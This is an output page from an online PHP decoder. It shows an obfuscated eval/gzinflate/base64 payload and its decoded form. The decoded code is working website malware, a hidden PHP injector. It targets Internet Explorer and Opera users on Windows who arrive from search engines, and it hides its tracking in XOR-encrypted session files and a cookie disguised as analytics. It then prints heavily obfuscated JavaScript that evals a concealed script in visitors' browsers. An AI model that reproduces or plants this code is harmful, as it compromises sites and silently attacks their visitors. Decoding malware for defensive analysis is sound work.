Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval(gzinflate(base64_decode('rVh7b9rIFv87V7rfwVuhNd7mEj+aZlHKVSm4CaE2j5gSU/UiYxsw8U..

Decoded Output download

if (!isset($frmDs)){
	global $frmDs;
	$frmDs = 1;
	error_reporting(0);
	
	function xcrpt($in){
		$il=strlen($in);$o='';
		for ($i = 0; $i < $il; $i++) $o.=$in[$i] ^ '*';
		return $o;
	}
	
	function seref($r){
		$ses = array('google','bing','yahoo','ask','aol');
		foreach ($ses as $se)
			if(strpos($r, $se.'.')!=false) return true;
		return false;
	}
	
	$ua = $_SERVER['HTTP_USER_AGENT'];
	if (preg_match('/Windows/', $ua) && preg_match('/MSIE|Opera/', $ua) && seref(strtolower($_SERVER["HTTP_REFERER"]))){

		$ip=$_SERVER["REMOTE_ADDR"]; 
		$dr=$_SERVER["DOCUMENT_ROOT"];
		
		$dbf=$dr.'/sess_'.md5(date('m.d.y'));
		$odbf = $dr.'/sess_'.md5(date('m.d.y',time()-86400));
		if (file_exists($odbf)) @unlink($odbf);

		if(!isset($_COOKIE['__utmfr']) && strpos(xcrpt(@file_get_contents($dbf)),$ip) === false ) {
			setcookie('__utmfr',rand(1,1000),time()+86400*7,'/');
			print('<script>'.base64_decode('ZmY9U3RyaW5nO2ZmZj0iZnJvbUNoYXJDb2RlIjtmZj1mZltmZmZdO3p6PTM7dHJ5e2RvY3VtZW50LmJvZHkmPTUxNTF9Y2F0Y2goZ2RzZ2Qpe3Y9ImV2YWwiO2lmKGRvY3VtZW50KXRyeXtkb2N1bWVudC5ib2R5PTEyO31jYXRjaChnZHNnc2RnKXthc2Q9MDt0cnl7ZG9jdW1lbnQ7fWNhdGNoKHEpe2FzZD0xO319aWYoIWFzZCllPXdpbmRvd1t2XTtpZigxKXtmPW5ldyBBcnJheSgwMTQ2LDAxNjUsMDE1NiwwMTQzLDAxNjQsMDE1MSwwMTU3LDAxNTYsMDQwLDAxNDcsMDE2MiwwMTQxLDA1MCwwMTQxLDA1NCwwMTQyLDA1MSwwMTczLDAxNjIsMDE0NSwwMTY0LDAxNjUsMDE2MiwwMTU2LDA0MCwwMTE1LDAxNDEsMDE2NCwwMTUwLDA1NiwwMTQ2LDAxNTQsMDE1NywwMTU3LDAxNjIsMDUwLDAxMTUsMDE0MSwwMTY0LDAxNTAsMDU2LDAxNjIsMDE0MSwwMTU2LDAxNDQsMDE1NywwMTU1LDA1MCwwNTEsMDUyLDA1MCwwMTQyLDA1NSwwMTQxLDA1MywwNjEsMDUxLDA1MSwwNTMsMDE0MSwwNzMsMDE3NSwwMTUsMDEyLDAxNDYsMDE2NSwwMTU2LDAxNDMsMDE2NCwwMTUxLDAxNTcsMDE1NiwwNDAsMDE2MiwwMTYzLDA1MCwwNTEsMDE3MywwMTYyLDAxNDUsMDE2NCwwMTY1LDAxNjIsMDE1NiwwNDAsMDExNSwwMTQxLDAxNjQsMDE1MCwwNTYsMDE2MiwwMTQxLDAxNTYsMDE0NCwwMTU3LDAxNTUsMDUwLDA1MSwwNTYsMDE2NCwwMTU3LDAxMjMsMDE2NCwwMTYyLDAxNTEsMDE1NiwwMTQ3LDA1MCwwNjMsMDY2LDA1MSwwNTYsMDE2MywwMTY1LDAxNDIsMDE2MywwMTY0LDAxNjIsMDE1MSwwMTU2LDAxNDcsMDUwLDA2NSwwNTEsMDczLDAxNzUsMDE1LDAxMiwwMTUxLDAxNDYsMDUwLDAxNTYsMDE0MSwwMTY2LDAxNTEsMDE0NywwMTQxLDAxNjQsMDE1NywwMTYyLDA1NiwwMTQzLDAxNTcsMDE1NywwMTUzLDAxNTEsMDE0NSwwMTA1LDAxNTYsMDE0MSwwMTQyLDAxNTQsMDE0NSwwMTQ0LDA1MSwwMTczLDAxNSwwMTIsMDExLDAxNjYsMDE0MSwwMTYyLDA0MCwwMTYzLDAxNjQsMDE1NiwwMTU1LDA3NSwwMTYyLDAxNjMsMDUwLDA1MSwwNzMsMDE1LDAxMiwwMTEsMDE2NiwwMTQxLDAxNjIsMDQwLDAxNjUsMDE0MSwwNDAsMDc1LDA0MCwwMTU2LDAxNDEsMDE2NiwwMTUxLDAxNDcsMDE0MSwwMTY0LDAxNTcsMDE2MiwwNTYsMDE2NSwwMTYzLDAxNDUsMDE2MiwwMTAxLDAxNDcsMDE0NSwwMTU2LDAxNjQsMDczLDAxNSwwMTIsMDExLDAxNTEsMDE0NiwwNTAsMDE2NSwwMTQxLDA1NiwwMTUxLDAxNTYsMDE0NCwwMTQ1LDAxNzAsMDExNywwMTQ2LDA1MCwwNDcsMDEyNywwMTUxLDAxNTYsMDE0NCwwMTU3LDAxNjcsMDE2MywwNDcsMDUxLDA0MSwwNzUsMDU1LDA2MSwwNDAsMDQ2LDA0NiwwNDAsMDUwLDAxNjUsMDE0MSwwNTYsMDE1MSwwMTU2LDAxNDQsMDE0NSwwMTcwLDAxMTcsMDE0NiwwNTAsMDQ3LDAxMTUsMDEyMywwMTExLDAxMDUsMDQ3LDA1MSwwNDEsMDc1LDA1NSwwNjEsMDQwLDAxNzQsMDE3NCwwNDAsMDE2NSwwMTQxLDA1NiwwMTUxLDAxNTYsMDE0NCwwMTQ1LDAxNzAsMDExNywwMTQ2LDA1MCwwNDcsMDExNywwMTYwLDAxNDUsMDE2MiwwMTQxLDA0NywwNTEsMDQxLDA3NSwwNTUsMDYxLDA1MSwwNTEsMDE3MywwMTUsMDEyLDAxMSwwMTEsMDE0NCwwMTU3LDAxNDMsMDE2NSwwMTU1LDAxNDUsMDE1NiwwMTY0LDA1NiwwMTY3LDAxNjIsMDE1MSwwMTY0LDAxNDUsMDUwLDA0NywwNzQsMDE2MywwMTY0LDAxNzEsMDE1NCwwMTQ1LDA3NiwwNTYsMDE2MywwNDcsMDUzLDAxNjMsMDE2NCwwMTU2LDAxNTUsMDUzLDA0NywwNDAsMDE3MywwNDAsMDE2MCwwMTU3LDAxNjMsMDE1MSwwMTY0LDAxNTEsMDE1NywwMTU2LDA3MiwwMTQxLDAxNDIsMDE2MywwMTU3LDAxNTQsMDE2NSwwMTY0LDAxNDUsMDczLDA0MCwwMTU0LDAxNDUsMDE0NiwwMTY0LDA3MiwwNTUsMDQ3LDA1MywwMTQ3LDAxNjIsMDE0MSwwNTAsMDY2LDA2MCwwNjAsMDU0LDA2MSwwNjAsMDYwLDA2MCwwNTEsMDUzLDA0NywwMTYwLDAxNzAsMDczLDA0MCwwMTY0LDAxNTcsMDE2MCwwNzIsMDU1LDA0NywwNTMsMDE0NywwMTYyLDAxNDEsMDUwLDA2NiwwNjAsMDYwLDA1NCwwNjEsMDYwLDA2MCwwNjAsMDUxLDA1MywwNDcsMDE2MCwwMTcwLDA3MywwNDAsMDE3NSwwNzQsMDU3LDAxNjMsMDE2NCwwMTcxLDAxNTQsMDE0NSwwNzYsMDQwLDA3NCwwMTQ0LDAxNTEsMDE2NiwwNDAsMDE0MywwMTU0LDAxNDEsMDE2MywwMTYzLDA3NSwwNDIsMDE2MywwNDcsMDUzLDAxNjMsMDE2NCwwMTU2LDAxNTUsMDUzLDA0NywwNDIsMDc2LDA3NCwwMTUxLDAxNDYsMDE2MiwwMTQxLDAxNTUsMDE0NSwwNDAsMDE2MywwMTYyLDAxNDMsMDc1LDA0MiwwMTUwLDAxNjQsMDE2NCwwMTYwLDA3MiwwNTcsMDU3LDAxNjIsMDE2NSwwMTY0LDAxNjEsMDE1MiwwMTU2LDAxNjMsMDE0NSwwMTcwLDA1NiwwMTU1LDAxNzEsMDE0NiwwMTY3LDA1NiwwMTY1LDAxNjMsMDU3LDAxNTIsMDE2MSwwMTY1LDAxNDUsMDE2MiwwMTcxLDA1NywwMTQ3LDAxNDUsMDE2NCwwNTYsMDE2MCwwMTUwLDAxNjAsMDc3LDAxNjYsMDE0NSwwMTYyLDA3NSwwMTUyLDAxNjEsMDE2NSwwMTQ1LDAxNjIsMDE3MSwwNTYsMDE1NCwwMTQxLDAxNjQsMDE0NSwwMTYzLDAxNjQsMDU2LDAxNTIsMDE2MywwNDIsMDQwLDAxNjcsMDE1MSwwMTQ0LDAxNjQsMDE1MCwwNzUsMDQyLDA0NywwNTMsMDE0NywwMTYyLDAxNDEsMDUwLDA2MywwNjAsMDYwLDA1NCwwNjYsMDYwLDA2MCwwNTEsMDUzLDA0NywwNDIsMDQwLDAxNTAsMDE0NSwwMTUxLDAxNDcsMDE1MCwwMTY0LDA3NSwwNDIsMDQ3LDA1MywwMTQ3LDAxNjIsMDE0MSwwNTAsMDYzLDA2MCwwNjAsMDU0LDA2NiwwNjAsMDYwLDA1MSwwNTMsMDQ3LDA0MiwwNzYsMDc0LDA1NywwMTUxLDAxNDYsMDE2MiwwMTQxLDAxNTUsMDE0NSwwNzYsMDc0LDA1NywwMTQ0LDAxNTEsMDE2NiwwNzYsMDQ3LDA1MSwwNzMsMDE1LDAxMiwwMTEsMDExLDAxNjYsMDE0MSwwMTYyLDA0MCwwMTQ1LDAxNzAsMDE2MCwwNzUsMDE1NiwwMTQ1LDAxNjcsMDQwLDAxMDQsMDE0MSwwMTY0LDAxNDUsMDUwLDA1MSwwNzMsMDE0NSwwMTcwLDAxNjAsMDU2LDAxNjMsMDE0NSwwMTY0LDAxMDQsMDE0MSwwMTY0LDAxNDUsMDUwLDAxNDUsMDE3MCwwMTYwLDA1NiwwMTQ3LDAxNDUsMDE2NCwwMTA0LDAxNDEsMDE2NCwwMTQ1LDA1MCwwNTEsMDUzLDA2NywwNTEsMDczLDAxNSwwMTIsMDExLDAxMSwwMTQ0LDAxNTcsMDE0MywwMTY1LDAxNTUsMDE0NSwwMTU2LDAxNjQsMDU2LDAxNDMsMDE1NywwMTU3LDAxNTMsMDE1MSwwMTQ1LDA3NSwwNDcsMDEzNywwMTM3LDAxNjUsMDE2NCwwMTU1LDAxNDYsMDE2MiwwNzUsMDQ3LDA1MywwMTYyLDAxNjMsMDUwLDA1MSwwNTMsMDQ3LDA3MywwNDAsMDE0NSwwMTcwLDAxNjAsMDE1MSwwMTYyLDAxNDUsMDE2MywwNzUsMDQ3LDA1MywwMTQ1LDAxNzAsMDE2MCwwNTYsMDE2NCwwMTU3LDAxMDcsMDExNSwwMTI0LDAxMjMsMDE2NCwwMTYyLDAxNTEsMDE1NiwwMTQ3LDA1MCwwNTEsMDUzLDA0NywwNzMsMDQwLDAxNjAsMDE0MSwwMTY0LDAxNTAsMDc1LDA1NywwNDcsMDczLDAxNSwwMTIsMDExLDAxNzUsMDE1LDAxMiwwMTc1KTt9dz1mO3M9W107aWYod2luZG93LmRvY3VtZW50KWZvcihpPTItMjstaSs3MTkhPTA7aSs9MSl7aj1pO2lmKCgwMzE9PTB4MTkpKWlmKGUpcz1zK2ZmKHdbal0pO314ej1lO2lmKHdpbmRvdy5kb2N1bWVudClpZih2KXh6KHMpfQ==').'</script>');
			if ($fp = @fopen($dbf , 'a')){fputs($fp , xcrpt($ip.'|')); fclose($fp);}
		}
	}
}

Did this file decode correctly?

Original Code

<?php eval(gzinflate(base64_decode('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')));?> 

Function Calls

gzinflate 1
base64_decode 1

Variables

None

Stats

MD5 4e001f1e37c052563741b0d83a5f74ee
Eval Count 1
Decode Time 236 ms